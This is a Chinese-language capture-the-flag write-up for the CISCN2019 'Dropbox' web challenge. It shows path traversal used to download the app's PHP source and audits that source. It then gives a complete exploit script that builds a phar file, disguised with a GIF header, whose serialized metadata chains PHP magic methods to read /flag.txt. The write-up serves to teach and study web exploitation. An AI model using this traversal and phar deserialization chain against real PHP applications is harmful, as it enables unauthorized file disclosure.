一、【CISCN2019 华北赛区 Day1 Web1】Dropbox 1

看题

首先是需要注册登录，然后进入是一个文件上传和下载的页面。尝试php一句话木马和burp抓包修改后缀的木马都失败，看来是过滤了。这时候对下载文件进行抓包：

尝试修改一下filename能不能抓到Index.php的包，这里尝试时候发现需要进入上上级目录，即../../index.php，同理查看一下download.php和delete.php。

审计

index.php：

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

login.php:

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

<!doctype html>

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <title>登录</title>

  <!-- Bootstrap core CSS -->
  <link href="static/css/bootstrap.min.css" rel="stylesheet">


  <style>
    .bd-placeholder-img {
      font-size: 1.125rem;
      text-anchor: middle;
    }

    @media (min-width: 768px) {
      .bd-placeholder-img-lg {
        font-size: 3.5rem;
      }
    }
  </style>
  <!-- Custom styles for this template -->
  <link href="static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
  <form class="form-signin" action="login.php" method="POST">
    <h1 class="h3 mb-3 font-weight-normal">登录</h1>
    <label for="username" class="sr-only">Username</label>
    <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="password" class="sr-only">Password</label>
    <input type="password" name="password" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
    <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
    <p class="text-muted">&copy; 2018-2019</p>
  </form>
  <div class="top" id="toast-container"></div>
</body>

<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>


<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

主要实现注册和登录的功能，为用户创建一个用户名+'sftUahRiTz'的文件夹。文件夹名称存储在$session['sandbox']中。

download.php：

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); 

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

ini_set("open_basedir", getcwd() . ":/etc:/tmp")： ini_set用于设置php.ini的值，其中'open_basedir'参数用于限定php脚本访问的目录，getcwd()函数是获取当前工作目录，总的来说就是限定脚本只能访问当前目录和/etc、/tmp目录。

chdir($_SESSION['sandbox'])：用于改变当前的工作目录为用户文件夹。

然后下面对flag字段进行了过滤。

delete.php:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

文件包含的class.php:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

很明显应该关注class.php，可以看到其中调用了一些魔术方法，其中__call函数最特殊。

__call函数是定义在php类中的魔术方法，其执行必须要两个参数，当调用该类中不存在的方法时，__call函数就会被执行。__call($name,$args)。其中name是调用的类中不存在方法的名称，arg是不存在方法中的参数。

在class.php的__call函数中，主要将调用的方法存储到funcs数组中，然后遍历files，让files中的每个元素都执行func函数，返回的结果存储在result数组中。

同时，可以看到File类中的close方法存在file_get_contents函数，我们可以利用这个函数对flag进行访问（因为download.php中对flag字段进行了过滤，说明flag应该就存储在flag.txt、flag.php等文件中。）

怎么调用close函数呢，在User类的析构函数中存在close方法。

思路：首先是创建User类中的db变量，将该变量是一个Filelist对象，同时在Filelist类中，将file属性的文件名设置为flag.php。这样在db变量析构的时候就能够访问flag.php。

但是怎样执行这个函数呢，因为反序列化的时候魔术函数会被自动执行，这里没有unserilize()函数；因此可以使用phar协议。

PHAR

是一个流包装协议，用于将php文件压缩，其中存储了被压缩文件的权限和属性信息，并且以序列化的形式存储用户的meta-data。文件格式为<?php xxx;__HALT_COMPILER();?>，必须以__HALT_COMPILER()来结尾。因此本题只要生成一个phar格式的文件进行上传，然后使用phar://协议对其进行解析，就会执行我们的payload。

注意：要将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件。并且一般的php.ini的readonly前面有分号，代表禁用，要删掉。

payload

<?php
class User{
	public $db;
}
class FileList{
	private $files= array();
	public function __construct() {//如果直接使用$files=new File()会失败，貌似必须用__construct方法
        $file = new File();
		array_push($this->files, $file);
    }
}
class File{
	public $filename='/flag.txt';
}

//创建phar文件常见姿势
$phar=new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub，增加gif文件头，绕过文件检测(因为php的识别是根据文件头的stub)
$phar->addFromString('test.txt','test');  //添加要压缩的文件
$obj= new User();
$obj->db=new FileList();
$phar->setMetadata($obj); //将自定义的metadata存入manifest
$phar->stopBuffering();
?>